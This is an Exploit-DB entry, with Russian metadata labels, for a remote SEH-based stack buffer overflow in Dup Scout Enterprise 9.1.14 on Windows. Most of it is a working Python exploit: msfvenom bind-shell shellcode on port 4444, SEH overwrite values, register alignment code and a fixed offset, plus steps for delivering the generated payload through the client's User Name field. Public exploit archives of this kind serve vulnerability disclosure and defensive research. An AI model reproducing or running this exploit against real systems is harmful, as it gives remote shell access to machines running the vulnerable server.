Exploit Dup Scout Enterprise 9.1.14 - Remote Buffer Overflow (SEH)

[Exploiter]

EDB-ID

40868

Проверка EDB

1. Пройдено

Автор

VPORTAL

Тип уязвимости

REMOTE

Платформа

WINDOWS

CVE

N/A

Дата публикации

2016-12-05

Dup Scout Enterprise 9.1.14 - Remote Buffer Overflow (SEH)

#!/usr/bin/python
#Open the DupScout client and click on Tools > click on Connect Network Drive > type the content of boom.txt in the "User Name" field. The payload is sent to the DupScout server (port 9126)
#SEH based stack overflow in DupScout server
#Tested in Windows 7 Professional
#For educational proposes only

#msfvenom -a x86 --platform windows -p windows/shell/bind_tcp LPORT=4444 -e x86/alpha_mixed BufferRegister=EAX -f python
buf =  ""
buf += "\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30"
buf += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
buf += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
buf += "\x49\x6c\x49\x78\x6f\x72\x47\x70\x57\x70\x45\x50\x43"
buf += "\x50\x4e\x69\x49\x75\x30\x31\x59\x50\x31\x74\x4e\x6b"
buf += "\x30\x50\x34\x70\x4e\x6b\x53\x62\x66\x6c\x4c\x4b\x36"
buf += "\x32\x45\x44\x4e\x6b\x52\x52\x44\x68\x34\x4f\x6d\x67"
buf += "\x71\x5a\x51\x36\x76\x51\x49\x6f\x6c\x6c\x57\x4c\x70"
buf += "\x61\x61\x6c\x53\x32\x34\x6c\x61\x30\x4b\x71\x38\x4f"
buf += "\x44\x4d\x43\x31\x78\x47\x4b\x52\x4c\x32\x72\x72\x42"
buf += "\x77\x4e\x6b\x36\x32\x44\x50\x6c\x4b\x72\x6a\x45\x6c"
buf += "\x4e\x6b\x62\x6c\x32\x31\x51\x68\x4d\x33\x71\x58\x36"
buf += "\x61\x78\x51\x72\x71\x4c\x4b\x30\x59\x65\x70\x66\x61"
buf += "\x4a\x73\x6c\x4b\x73\x79\x72\x38\x7a\x43\x64\x7a\x43"
buf += "\x79\x6c\x4b\x46\x54\x6c\x4b\x36\x61\x6a\x76\x75\x61"
buf += "\x49\x6f\x4e\x4c\x5a\x61\x48\x4f\x34\x4d\x55\x51\x4b"
buf += "\x77\x74\x78\x6b\x50\x74\x35\x6b\x46\x35\x53\x73\x4d"
buf += "\x68\x78\x77\x4b\x43\x4d\x31\x34\x62\x55\x4b\x54\x33"
buf += "\x68\x4e\x6b\x73\x68\x64\x64\x66\x61\x58\x53\x73\x56"
buf += "\x6e\x6b\x74\x4c\x50\x4b\x6e\x6b\x73\x68\x75\x4c\x57"
buf += "\x71\x38\x53\x4c\x4b\x44\x44\x6e\x6b\x77\x71\x4e\x30"
buf += "\x6b\x39\x77\x34\x65\x74\x37\x54\x51\x4b\x53\x6b\x30"
buf += "\x61\x46\x39\x43\x6a\x42\x71\x69\x6f\x79\x70\x53\x6f"
buf += "\x53\x6f\x43\x6a\x6e\x6b\x66\x72\x7a\x4b\x4e\x6d\x71"
buf += "\x4d\x71\x78\x74\x73\x70\x32\x65\x50\x75\x50\x75\x38"
buf += "\x34\x37\x54\x33\x56\x52\x71\x4f\x56\x34\x63\x58\x30"
buf += "\x4c\x74\x37\x46\x46\x56\x67\x49\x6f\x4b\x65\x58\x38"
buf += "\x4c\x50\x35\x51\x73\x30\x65\x50\x55\x79\x4b\x74\x71"
buf += "\x44\x30\x50\x71\x78\x51\x39\x4b\x30\x32\x4b\x55\x50"
buf += "\x6b\x4f\x4b\x65\x62\x4a\x66\x6b\x51\x49\x56\x30\x69"
buf += "\x72\x69\x6d\x51\x7a\x65\x51\x32\x4a\x37\x72\x73\x58"
buf += "\x6b\x5a\x76\x6f\x4b\x6f\x4b\x50\x6b\x4f\x59\x45\x5a"
buf += "\x37\x73\x58\x76\x62\x53\x30\x77\x61\x43\x6c\x6b\x39"
buf += "\x48\x66\x43\x5a\x42\x30\x62\x76\x43\x67\x30\x68\x5a"
buf += "\x62\x79\x4b\x54\x77\x53\x57\x6b\x4f\x79\x45\x4f\x75"
buf += "\x6f\x30\x51\x65\x36\x38\x66\x37\x42\x48\x58\x37\x4d"
buf += "\x39\x45\x68\x49\x6f\x49\x6f\x6b\x65\x32\x77\x70\x68"
buf += "\x52\x54\x5a\x4c\x67\x4b\x6d\x31\x69\x6f\x38\x55\x30"
buf += "\x57\x6a\x37\x52\x48\x44\x35\x50\x6e\x70\x4d\x73\x51"
buf += "\x49\x6f\x4e\x35\x62\x4a\x65\x50\x50\x6a\x54\x44\x30"
buf += "\x56\x66\x37\x31\x78\x46\x62\x4a\x79\x78\x48\x71\x4f"
buf += "\x69\x6f\x5a\x75\x4f\x73\x6b\x48\x35\x50\x53\x4e\x66"
buf += "\x4d\x4e\x6b\x45\x66\x73\x5a\x37\x30\x52\x48\x35\x50"
buf += "\x76\x70\x75\x50\x53\x30\x43\x66\x50\x6a\x43\x30\x30"
buf += "\x68\x62\x78\x49\x34\x32\x73\x7a\x45\x4b\x4f\x68\x55"
buf += "\x4d\x43\x56\x33\x70\x6a\x55\x50\x46\x36\x62\x73\x53"
buf += "\x67\x32\x48\x35\x52\x6b\x69\x78\x48\x51\x4f\x79\x6f"
buf += "\x79\x45\x6d\x53\x69\x68\x37\x70\x53\x4e\x67\x77\x46"
buf += "\x61\x39\x53\x55\x79\x6b\x76\x34\x35\x7a\x49\x6f\x33"
buf += "\x41\x41"

nseh = "\x54\x58\x41\x41"
seh = "\x4f\x40\x12\x10"

align = "\x05\x34\x28\x25\x41" #add eax,0x41252843
align += "\x2d\x7e\43\x25\x41" #sub eax,0x4125437e
align += "\x50" #push eax
align += "\xc3" #ret

offset = 1584

buffer = "\x41"*175 + buf 
buffer += "\x42"*(offset-175-len(buf)) 
buffer += nseh + seh 
buffer += align + "\x44"*(1000-len(align))

file = open('boom.txt','w')
file.write(buffer)
file.close()